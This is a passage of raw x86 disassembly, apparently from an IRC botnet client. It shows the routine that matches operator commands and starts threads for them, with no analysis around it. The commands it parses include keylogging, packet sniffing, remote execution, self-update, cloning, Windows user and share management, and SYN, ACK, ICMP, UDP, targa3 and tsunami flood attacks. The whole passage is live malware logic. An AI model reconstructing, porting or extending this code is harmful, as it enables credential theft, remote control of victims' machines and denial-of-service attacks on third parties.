		pop	ecx
		jz	loc_409626
		push	edi
		push	offset aKp	; "kp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409626
		push	edi
		push	offset aKill	; "kill"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095C7
		push	edi
		push	offset aKi	; "ki"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095C7
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40958C
		push	edi
		push	offset aDel	; "del"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40958C
		push	edi
		push	offset aGet	; "get"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094AA
		push	edi
		push	offset aGt	; "gt"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094AA
		push	edi
		push	offset aList	; "list"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948B
		push	edi
		push	offset aLi	; "li"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948B
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093AA
		push	edi
		push	offset aV	; "v"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093AA
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409334
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409334
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092DE
		push	edi
		push	offset aCm	; "cm"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092DE
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409253
		push	edi
		push	offset aRf	; "rf"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409253
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405E10
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DD6
		push	20h
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_405D04
		push	offset dword_4416B8
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_405D04:				; CODE XREF: sub_401C87+4071j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405D46
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_4E2F3B
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D46
		mov	esi, [ebp+var_88]

loc_405D46:				; CODE XREF: sub_401C87+40A1j
					; sub_401C87+40B7j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_2C0]
		push	offset dword_4416D8
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	20h
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset sub_41289A
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_405DC9
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441708
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_405DC1:				; CODE XREF: sub_401C87+4148j
		push	32h
		call	dword_4F534C	; Sleep

loc_405DC9:				; CODE XREF: sub_401C87+4127j
		cmp	[ebp+var_E34], ebx
		jz	short loc_405DC1
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_405DD6:				; CODE XREF: sub_401C87+4061j
		push	[ebp+arg_10]
		push	offset aOff_2	; "off"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407148
		push	ebx
		push	20h
		call	sub_40B886
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E06
		push	eax
		push	offset dword_441748
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_405E06:				; CODE XREF: sub_401C87+4172j
		push	offset dword_441784
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_405E10:				; CODE XREF: sub_401C87+404Aj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F5E
		push	[ebp+arg_10]
		push	offset aOn_0	; "on"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F24
		push	21h
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_405E52
		push	offset unk_4417BC
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_405E52:				; CODE XREF: sub_401C87+41BFj
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405E94
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_4E2F3C
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E94
		mov	esi, [ebp+var_88]

loc_405E94:				; CODE XREF: sub_401C87+41EFj
					; sub_401C87+4205j
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_2C0]
		push	offset unk_4417DC
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	21h
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412F1F
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_405F17
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44180C
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_405F0F:				; CODE XREF: sub_401C87+4296j
		push	32h
		call	dword_4F534C	; Sleep

loc_405F17:				; CODE XREF: sub_401C87+4275j
		cmp	[ebp+var_F5C], ebx
		jz	short loc_405F0F
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_405F24:				; CODE XREF: sub_401C87+41AFj
		push	[ebp+arg_10]
		push	offset aOff_3	; "off"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407148
		push	ebx
		push	21h
		call	sub_40B886
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F54
		push	eax
		push	offset unk_441850
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_405F54:				; CODE XREF: sub_401C87+42C0j
		push	offset unk_441890
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_405F5E:				; CODE XREF: sub_401C87+4198j
		push	edi
		push	offset aIdent	; "ident"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406033
		push	[ebp+arg_10]
		push	offset aOn_1	; "on"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405FF9
		push	2
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_2C0]
		jle	short loc_405FA2
		push	offset dword_4418CC
		jmp	loc_407140
; ---------------------------------------------------------------------------

loc_405FA2:				; CODE XREF: sub_401C87+430Fj
		push	offset dword_4418EC
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	2
		push	eax
		call	sub_40B691
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410B14
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_455FD4[esi], eax
		jnz	loc_407148
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441918
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_405FF9:				; CODE XREF: sub_401C87+42FDj
		push	[ebp+arg_10]
		push	offset aOff_4	; "off"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407148
		push	ebx
		push	2
		call	sub_40B886
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_406029
		push	eax
		push	offset dword_441950
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_406029:				; CODE XREF: sub_401C87+4395j
		push	offset dword_441988
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_406033:				; CODE XREF: sub_401C87+42E6j
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061B9
		mov	edi, [ebp+arg_10]
		push	edi
		push	offset aOn_2	; "on"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4060A5
		push	edi
		push	offset aFile	; "file"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4060A5
		push	edi
		push	offset aOff_1	; "off"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407148
		push	ebx
		push	23h
		call	sub_40B886
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_40609B
		push	eax
		push	offset dword_4419C0
		jmp	loc_406190
; ---------------------------------------------------------------------------

loc_40609B:				; CODE XREF: sub_401C87+4407j
		push	offset dword_4419FC
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_4060A5:				; CODE XREF: sub_401C87+43D3j
					; sub_401C87+43E4j
		push	23h
		call	sub_40B8D3
		test	eax, eax
		pop	ecx
		jle	short loc_4060BB
		push	offset dword_441A28
		jmp	loc_40713A
; ---------------------------------------------------------------------------

loc_4060BB:				; CODE XREF: sub_401C87+4428j
		mov	eax, [ebp+arg_4]
		push	edi
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	offset aFile_0	; "file"
		mov	[ebp+var_BD4], eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060EA
		mov	[ebp+var_BD0], 1
		jmp	short loc_4060F3
; ---------------------------------------------------------------------------

loc_4060EA:				; CODE XREF: sub_401C87+4455j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax

loc_4060F3:				; CODE XREF: sub_401C87+4461j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_40611A
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_4E2F3D
		push	esi
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40611A
		mov	esi, [ebp+var_88]

loc_40611A:				; CODE XREF: sub_401C87+4475j
					; sub_401C87+448Bj
		push	esi
		lea	eax, [ebp+var_C54]
		push	80h
		push	eax
		call	sub_41EC30
		lea	eax, [ebp+var_2C0]
		push	offset dword_441A50
		push	eax
		call	sub_41EA60
		push	ebx
		lea	eax, [ebp+var_2C0]
		push	23h
		push	eax
		call	sub_40B691
		add	esp, 20h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset sub_4125C5
		push	ebx
		push	ebx
		call	dword_4F5350	; CreateThread
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_455FD4[ecx], eax
		jnz	short loc_4061AC
		call	dword_4F5360	; RtlGetLastWin32Error
		push	eax
		push	offset dword_441A74

loc_406190:				; CODE XREF: sub_401C87+20E1j
					; sub_401C87+2EC9j ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60

loc_40619C:				; CODE XREF: sub_401C87+2EBEj
					; sub_401C87+560Cj
		add	esp, 0Ch
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_4061A4:				; CODE XREF: sub_401C87+452Bj
		push	32h
		call	dword_4F534C	; Sleep

loc_4061AC:				; CODE XREF: sub_401C87+44FBj
		cmp	[ebp+var_BCC], ebx
		jz	short loc_4061A4
		jmp	loc_407148
; ---------------------------------------------------------------------------

loc_4061B9:				; CODE XREF: sub_401C87+43BBj
		push	edi
		push	offset aNet	; "net"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4064B1
		cmp	dword_4E3154, ebx
		jz	short loc_4061E8
		cmp	dword_4E317C, ebx
		jz	short loc_4061E8
		push	offset unk_441AB4
		jmp	loc_40649E
; ---------------------------------------------------------------------------

loc_4061E8:				; CODE XREF: sub_401C87+454Dj
					; sub_401C87+4555j
		cmp	[ebp+var_C], ebx
		jz	loc_406F1E
		mov	edi, [ebp+esi+var_88]
		mov	[ebp+arg_0], ebx
		cmp	edi, ebx
		jz	short loc_40620D
		push	edi
		push	[ebp+var_C]
		call	sub_41EBB0
		pop	ecx
		mov	[ebp+arg_0], eax
		pop	ecx

loc_40620D:				; CODE XREF: sub_401C87+4576j
		push	[ebp+arg_10]
		push	offset aStart	; "start"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40627A
		cmp	edi, ebx
		jz	short loc_406248
		push	[ebp+arg_0]
		push	3
		call	sub_419350
		push	eax
		push	offset aS_1	; "%s"

loc_406234:				; CODE XREF: sub_401C87+4616j
					; sub_401C87+463Bj ...
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 14h
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_406248:				; CODE XREF: sub_401C87+459Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4195F7
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_406270
		push	offset unk_441AF8
		jmp	loc_4064A4
; ---------------------------------------------------------------------------

loc_406270:				; CODE XREF: sub_401C87+45DDj
		push	offset unk_441B1C
		jmp	loc_4064A4
; ---------------------------------------------------------------------------

loc_40627A:				; CODE XREF: sub_401C87+4597j
		push	[ebp+arg_10]
		push	offset aStop	; "stop"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40629F
		push	[ebp+arg_0]
		push	4
		call	sub_419350
		push	eax
		push	offset aS_2	; "%s"
		jmp	short loc_406234
; ---------------------------------------------------------------------------

loc_40629F:				; CODE XREF: sub_401C87+4604j
		push	[ebp+arg_10]
		push	offset aPause	; "pause"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4062C7
		push	[ebp+arg_0]
		push	5
		call	sub_419350
		push	eax
		push	offset aS_3	; "%s"
		jmp	loc_406234
; ---------------------------------------------------------------------------

loc_4062C7:				; CODE XREF: sub_401C87+4629j
		push	[ebp+arg_10]
		push	offset aContinue ; "continue"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4062EF
		push	[ebp+arg_0]
		push	6
		call	sub_419350
		push	eax
		push	offset aS_4	; "%s"
		jmp	loc_406234
; ---------------------------------------------------------------------------

loc_4062EF:				; CODE XREF: sub_401C87+4651j
		push	[ebp+arg_10]
		push	offset aDelete_0 ; "delete"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406317
		push	[ebp+arg_0]
		push	1
		call	sub_419350
		push	eax
		push	offset aS_5	; "%s"
		jmp	loc_406234
; ---------------------------------------------------------------------------

loc_406317:				; CODE XREF: sub_401C87+4679j
		push	[ebp+arg_10]
		push	offset aShare	; "share"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4063A2
		cmp	edi, ebx
		jz	short loc_40636F
		cmp	[ebp+var_8FC], bl
		jz	short loc_406347
		push	ebx
		push	edi
		push	1
		call	sub_419737
		push	eax
		push	offset aS_6	; "%s"
		jmp	short loc_40635B
; ---------------------------------------------------------------------------

loc_406347:				; CODE XREF: sub_401C87+46ADj
		push	[ebp+esi+var_84]
		push	edi
		push	ebx
		call	sub_419737
		push	eax
		push	offset aS_7	; "%s"

loc_40635B:				; CODE XREF: sub_401C87+46BEj
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 18h
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_40636F:				; CODE XREF: sub_401C87+46A5j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41992C
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_406398
		push	offset unk_441B80
		jmp	loc_4064A4
; ---------------------------------------------------------------------------

loc_406398:				; CODE XREF: sub_401C87+4705j
		push	offset unk_441BA4
		jmp	loc_4064A4
; ---------------------------------------------------------------------------

loc_4063A2:				; CODE XREF: sub_401C87+46A1j
		push	[ebp+arg_10]
		push	offset aUser_0	; "user"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40644D
		cmp	edi, ebx
		jz	short loc_406420
		push	[ebp+var_4]
		cmp	[ebp+var_8FC], bl
		push	[ebp+var_88]
		push	[ebp+arg_4]
		jz	short loc_4063E2
		push	ebx
		push	edi
		push	1
		call	sub_419A4D
		push	eax
		push	offset aS_8	; "%s"
		jmp	short loc_40640C
; ---------------------------------------------------------------------------

loc_4063E2:				; CODE XREF: sub_401C87+4748j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_4063FD
		push	esi
		push	edi
		push	ebx
		call	sub_419A4D
		push	eax
		push	offset aS_9	; "%s"
		jmp	short loc_40640C
; ---------------------------------------------------------------------------

loc_4063FD:				; CODE XREF: sub_401C87+4764j
		push	ebx
		push	edi
		push	2
		call	sub_419A4D
		push	eax
		push	offset aS_10	; "%s"

loc_40640C:				; CODE XREF: sub_401C87+4759j
					; sub_401C87+4774j
		lea	eax, [ebp+var_2C0]
		push	eax
		call	sub_41EA60
		add	esp, 24h
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_406420:				; CODE XREF: sub_401C87+4734j
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_419F61
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+var_2C0]
		jz	short loc_406446
		push	offset unk_441BD8
		jmp	short loc_4064A4
; ---------------------------------------------------------------------------

loc_406446:				; CODE XREF: sub_401C87+47B6j
		push	offset unk_441BF8
		jmp	short loc_4064A4
; ---------------------------------------------------------------------------

loc_40644D:				; CODE XREF: sub_401C87+472Cj
		push	[ebp+arg_10]
		push	offset aSend	; "send"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406499
		cmp	edi, ebx
		jz	short loc_406492
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A20B
		push	eax
		lea	eax, [ebp+var_2C0]
		push	offset aS_11	; "%s"
		push	eax
		call	sub_41EA60
		add	esp, 1Ch
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_406492:				; CODE XREF: sub_401C87+47DBj
		push	offset unk_441C24
		jmp	short loc_40649E
; ---------------------------------------------------------------------------

loc_406499:				; CODE XREF: sub_401C87+47D7j
		push	offset unk_441C48

loc_40649E:				; CODE XREF: sub_401C87+2E69j
					; sub_401C87+455Cj ...
		lea	eax, [ebp+var_2C0]

loc_4064A4:				; CODE XREF: sub_401C87+45E4j
					; sub_401C87+45EEj ...
		push	eax
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	loc_406F1E
; ---------------------------------------------------------------------------

loc_4064B1:				; CODE XREF: sub_401C87+4541j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40900F
		push	edi
		push	offset aCap	; "cap"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40900F
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F2B
		push	edi
		push	offset aGh	; "gh"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F2B

loc_406505:				; CODE XREF: sub_401C87+3C9Cj
					; sub_401C87+3CCBj ...
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_4076C4
		push	[ebp+arg_8]
		push	offset aKilllog	; "killlog"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F11
		push	[ebp+arg_8]
		push	offset aKl	; "kl"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F11
		push	[ebp+arg_8]
		push	offset aAddalias ; "addalias"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ED0
		push	[ebp+arg_8]
		push	offset aAa	; "aa"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ED0
		push	[ebp+arg_8]
		push	offset aPrivmsg_1 ; "privmsg"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E76
		push	[ebp+arg_8]
		push	offset aPm	; "pm"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E76
		push	[ebp+arg_8]
		push	offset aAction	; "action"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E04
		push	[ebp+arg_8]
		push	offset aA	; "a"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408E04
		push	[ebp+arg_8]
		push	offset aCycle	; "cycle"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DA0
		push	[ebp+arg_8]
		push	offset aCy	; "cy"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DA0
		push	[ebp+arg_8]
		push	offset aMode_0	; "mode"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D62
		push	[ebp+arg_8]
		push	offset aM	; "m"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D62
		push	[ebp+arg_8]
		push	offset aC_raw	; "c_raw"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF6
		push	[ebp+arg_8]
		push	offset aC_r	; "c_r"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF6
		push	[ebp+arg_8]
		push	offset aC_mode	; "c_mode"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C73
		push	[ebp+arg_8]
		push	offset aC_m	; "c_m"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C73
		push	[ebp+arg_8]
		push	offset aC_nick	; "c_nick"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C06
		push	[ebp+arg_8]
		push	offset aC_n	; "c_n"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C06
		push	[ebp+arg_8]
		push	offset aC_join	; "c_join"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB8
		push	[ebp+arg_8]
		push	offset aC_j	; "c_j"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BB8
		push	[ebp+arg_8]
		push	offset aC_part	; "c_part"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B54
		push	[ebp+arg_8]
		push	offset aC_p	; "c_p"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B54
		push	[ebp+arg_8]
		push	offset aTarga3	; "targa3"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A5C
		push	[ebp+arg_8]
		push	offset aT3	; "t3"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A5C
		push	[ebp+arg_8]
		push	offset aTsunami	; "tsunami"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40898B
		push	[ebp+arg_8]
		push	offset aTsn	; "tsn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40898B
		push	[ebp+arg_8]
		push	offset aRepeat	; "repeat"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088C6
		push	[ebp+arg_8]
		push	offset aRp	; "rp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4088C6
		push	[ebp+arg_8]
		push	offset aDelay	; "delay"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408829
		push	[ebp+arg_8]
		push	offset aDe	; "de"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408829
		push	[ebp+arg_8]
		push	offset aUpdate32111 ; "update32111"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AD
		push	[ebp+arg_8]
		push	offset aUp32111	; "up32111"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086AD
		push	[ebp+arg_8]
		push	offset aExecute	; "execute"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408614
		push	[ebp+arg_8]
		push	offset aE	; "e"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408614
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408508
		push	[ebp+arg_8]
		push	offset aRename	; "rename"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084B7
		push	[ebp+arg_8]
		push	offset aMv	; "mv"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4084B7
		push	[ebp+arg_8]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083BD
		push	[ebp+arg_8]
		push	offset aIcmp	; "icmp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083BD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_4076C4
		push	[ebp+arg_8]
		push	offset aClone_0	; "clone"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D6
		push	[ebp+arg_8]
		push	offset aC	; "c"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082D6
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C5
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C5
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C5
		push	[ebp+arg_8]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406A17
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi
		push	[ebp+arg_10]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_31FC]
		push	edi
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_317C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E510
		push	esi
		lea	eax, [ebp+var_30FC]
		push	[ebp+var_88]
		push	eax
		call	sub_41E510
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx
